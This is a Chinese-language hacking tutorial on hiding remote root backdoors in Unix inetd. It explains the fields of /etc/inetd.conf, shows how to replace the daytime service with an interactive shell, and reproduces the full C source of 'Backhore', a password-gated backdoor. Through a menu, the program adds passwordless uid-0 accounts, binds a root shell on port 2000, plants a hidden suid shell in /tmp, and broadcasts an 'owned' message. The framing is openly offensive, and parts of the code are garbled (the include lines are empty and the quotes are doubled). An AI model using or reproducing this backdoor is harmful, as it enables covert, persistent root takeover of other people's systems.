超级服务器守护进程（inetd）的配置文件。系统管理员一般情况下不经常检查该文件，因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢？当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先，让我们先来了解一下这方面的基础知识：inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd
1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。
2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。
3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。
4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。
5：第五栏给出运行守护进程的用户名。
6：第六栏给出守护进程的全限定路径名。
7：守护进程的真实名字及其参数。
如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 ''internal'' 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。
一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：
daytime stream tcp nowait root internal
修改为：
daytime stream tcp nowait /bin/sh sh -i.
然后重启（记住：一定要重启）inetd 进程：
killall -9 inetd。
但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）
<++> backdoor/remoteback.c
/* Coders:
Theft
Help from:
Sector9, Halogen
Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
Psionic, g0d, Psionic.
Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
Tg0d, EHAP.
Usage:
Setup:
# gcc -o backhore backhore.c # ./backdoor password &
Run:
Telnet to the host on port 4000. After connected you
Will not be prompted for a password, this way it is less
Obvious, just type the password and press enter, after this
You will be prompted for a command, pick 1-8.
Distributers:
Ethical Mutiny Crew
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr
void handle(int);
int
main(int argc, char *argv[])
{
int sockfd, new_fd, sin_size, numbytes, cmd;
char ask[10]=""Command: "";
char *bytes, *buf, pass[40];
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
printf(""
Backhore BETA by Theft
"");
printf("" 1: trojans rc.local
"");
printf("" 2: sends a systemwide message
"");
printf("" 3: binds a root shell on port 2000
"");
printf("" 4: creates suid sh in /tmp
"");
printf("" 5: creates mutiny account uid 0 no passwd
"");
printf("" 6: drops to suid shell
"");
printf("" 7: information on backhore
"");
printf("" 8: contact
"");
if (argc != 2) {
fprintf(stderr,""Usage: %s password
"", argv[0]);
exit(1);
}
strncpy(pass, argv[1], 40);
printf(""..using password: %s..
"", pass);
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror(""socket"");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(PORT);
my_addr.sin_addr.s_addr = INADDR_ANY;
if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {
perror(""bind"");
exit(1);
}
if (listen(sockfd, BACKLOG) == -1) {
perror(""listen"");
exit(1);
}
sin_size = sizeof(SA);
while(1) { /* main accept() loop */
if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
perror(""accept"");
continue;
}
if (!fork()) {
dup2(new_fd, 0);
dup2(new_fd, 1);
dup2(new_fd, 2);
fgets(buf, 40, stdin);
if (!strcmp(buf, pass)) {
printf(""%s"", ask);
cmd = getchar();
handle(cmd);
}
close(new_fd);
exit(0);
}
close(new_fd);
while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */
}
}
void
handle(int cmd)
{
FILE *fd;
switch(cmd) {
case ''1'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""Trojaning rc.local
"");
fd = fopen(""/etc/passwd"", ""a+"");
fprintf(fd, ""mutiny::0:0:ethical mutiny crew:/root:/bin/sh"");
fclose(fd);
printf(""Trojan complete.
"");
break;
case ''2'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""Sending systemwide message..
"");
system(""wall Box owned via the Ethical Mutiny Crew"");
printf(""Message sent.
"");
break;
case ''3'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""
Adding inetd backdoor... (-p)
"");
fd = fopen(""/etc/services"",""a+"");
fprintf(fd,""backdoor 2000/tcp backdoor
"");
fd = fopen(""/etc/inetd.conf"",""a+"");
fprintf(fd,""backdoor stream tcp nowait root /bin/sh -i
"");
execl(""killall"", ""-HUP"", ""inetd"", NULL);
printf(""
done.
"");
printf(""telnet to port 2000
"");
break;
case ''4'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""
Adding Suid Shell... (-s)
"");
system(""cp /bin/sh /tmp/.sh"");
system(""chmod 4700 /tmp/.sh"");
system(""chown root:root /tmp/.sh"");
printf(""
Suid shell added.
"");
printf(""execute /tmp/.sh
"");
break;
case ''5'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""
Adding root account... (-u)
"");
fd=fopen(""/etc/passwd"",""a+"");
fprintf(fd,""hax0r::0:0::/:/bin/bash
"");
printf(""
done.
"");
printf(""uid 0 and gid 0 account added
"");
break;
case ''6'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""Executing suid shell..
"");
execl(""/bin/sh"");
break;
case ''7'':
printf(""
Backhore BETA by Theft
"");
printf(""
[email protected]
"");
printf(""
Info... (-i)
"");
printf(""
3 - Adds entries to /etc/services & /etc/inetd.conf giving you
"");
printf(""a root shell on port 2000. example: telnet 2000
"");
printf(""4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever
"");
printf(""executed gives you a root shell. example:/tmp/.sh
"");
printf(""5 - Adds an account with uid and gid 0 to the passwd file.
"");
printf(""The login is ''mutiny'' and there is no passwd."");
break;
case ''8'':
printf(""
Backhore BETA by Theft
"");
printf(""http://theft.bored.org
"");
printf(""
[email protected]
"");
break;
default:
printf(""unknown command: %d
"", cmd);
break;
}
}
<-->
摘自：中国E安网络联盟
作者:焦桐